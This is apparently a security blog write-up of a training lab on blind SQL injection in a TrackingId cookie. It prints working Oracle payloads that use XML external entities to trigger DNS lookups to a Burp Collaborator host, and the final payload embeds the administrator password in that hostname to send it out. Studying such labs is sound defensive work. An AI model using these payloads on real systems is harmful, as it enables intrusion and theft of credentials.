Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Blind SQL injection with out-of-band data exfiltration

Exploiting an asynchronous, blind SQL injection vulnerability via Out-of-Band (OAST) techniques, where the application's TrackingId cookie triggers a SQL query that only reveals data through external network interactions. The solution involves using Oracle XML external entities (XXE) within the cookie to force a DNS lookup to Burp Collaborator, exfiltrating the administrator's password.

2025-11-145 tags
Tags

This lab demonstrates a blind SQL injection vulnerability inside the application's TrackingId cookie.
The backend runs a SQL query containing the cookie value, but the query executes asynchronously, meaning:

  • ❌ No visible errors
  • ❌ No HTML differences
  • ❌ No timing differences
  • ✔ Only external network activity reveals what happened

Because of this, traditional SQLi techniques fail — making Out‑of‑Band (OAST) exploitation necessary.


🧠 What Is Out‑of‑Band (OAST) Data Exfiltration?

Normally SQL injection relies on visible feedback:

  • Errors
  • Different page content
  • Delays
  • Returned data

But in this lab:

  • ❌ The SQL query runs silently
  • ❌ The page never changes
  • ❌ No timing or behavioral differences
  • ✔ The database still performs network requests externally

This creates a side‑channel, where we extract data through DNS lookups or HTTP calls made by the database itself.

📌 Out‑of‑Band = communication “off to the side,” not through the web page.

Burp Collaborator receives those external requests — and we extract data from them.


🎯 Goal

The backend contains a table:

usernamepassword

You must extract the administrator’s password using OAST SQLi, then log in.


🔍 Step 1 — Confirm the SQL Injection Vulnerability

We start by injecting an Oracle XXE‑based payload into the TrackingId cookie to see if we can trigger any out‑of‑band interaction.

Example test payload:

http
TrackingId=yuZ717dsmQef7qpH'SELECT EXTRACTVALUE(
xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com">
]>'),
'/l') FROM dual;

Then we move to a UNION‑based variant:

http
Cookie: TrackingId=yuZ717dsmQef7qpH'+UNION+SELECT+EXTRACTVALUE(
xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>
<!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com/">+%25remote%3b]>'),
'/l')+FROM+dual--; session=tZaAc0DOojTekL8ksiwi77WnkymDYoPp

Example HTTP request in Burp:

injected-request

If Burp Collaborator shows a DNS lookup for your domain, the SQL injection via the tracking cookie is confirmed.


🧪 Step 2 — Extract the Administrator Password

Next, we embed the result of a SQL query directly into the hostname of an XML External Entity.
This allows the password to be exfiltrated via a DNS lookup.

Final working payload:

http
TrackingId=yuZ717dsmQef7qpH'+UNION+SELECT+EXTRACTVALUE(
xmltype('<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://' ||
    (SELECT password FROM users WHERE username='administrator') ||
  '.abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com/">
  %remote;
]>'),
'/l')+FROM+dual--; session=tZaAc0DOojTekL8ksiwi77WnkymDYoPp

What this does:

  1. Runs the subquery:
    sql
    SELECT password FROM users WHERE username='administrator'
  2. Concatenates the password into a URL:
    text
    http://<PASSWORD>.abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com/
  3. Defines an external entity %remote that points to that URL.
  4. When the XML is parsed, Oracle resolves %remote, forcing a DNS lookup to that host.

🧬 Step‑by‑Step: What’s Actually Happening?

🟦 STEP 1 — SQL retrieves the password

sql
SELECT password FROM users WHERE username='administrator'

Assume this returns:

text
zoizmg278wxm0nvnmedw

🟩 STEP 2 — Oracle builds an XML external entity using the password

xml
<!ENTITY % remote SYSTEM 
  "http://zoizmg278wxm0nvnmedw.abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com/">

🟧 STEP 3 — XML parser tries to fetch the URL

To resolve %remote, the XML parser triggers a DNS lookup:

text
zoizmg278wxm0nvnmedw.abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com

Your Burp Collaborator server logs this lookup.


🟥 STEP 4 — You read the password from the subdomain

Everything to the left of .abpilbf0s66l2cahr1577xv07rdi1gp5.oastify.com is the password:

text
zoizmg278wxm0nvnmedw

This is the exfiltrated value from the database.


📸 DNS Lookup Revealing the Password

Burp Collaborator shows an interaction like this, where the hostname contains the password as the first label:

dns-password

From this single DNS lookup, you can read the administrator password directly.


🎉 Summary in 3 Lines

  1. Your SQL payload forces Oracle to construct a URL that embeds the administrator password.
  2. Oracle performs a DNS lookup for that URL when resolving the external XML entity.
  3. Burp Collaborator logs the hostname — and the password appears as the left‑most subdomain.

Navigate

In this post

  1. 01🧠 What Is Out‑of‑Band (OAST) Data Exfiltration?
  2. 02🎯 Goal
  3. 03🔍 Step 1 — Confirm the SQL Injection Vulnerability
  4. 04🧪 Step 2 — Extract the Administrator Password
  5. 05🧬 Step‑by‑Step: What’s Actually Happening?
  6. 06🟦 STEP 1 — SQL retrieves the password
  7. 07🟩 STEP 2 — Oracle builds an XML external entity using the password
  8. 08🟧 STEP 3 — XML parser tries to fetch the URL
  9. 09🟥 STEP 4 — You read the password from the subdomain
  10. 10📸 DNS Lookup Revealing the Password
  11. 11🎉 Summary in 3 Lines
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.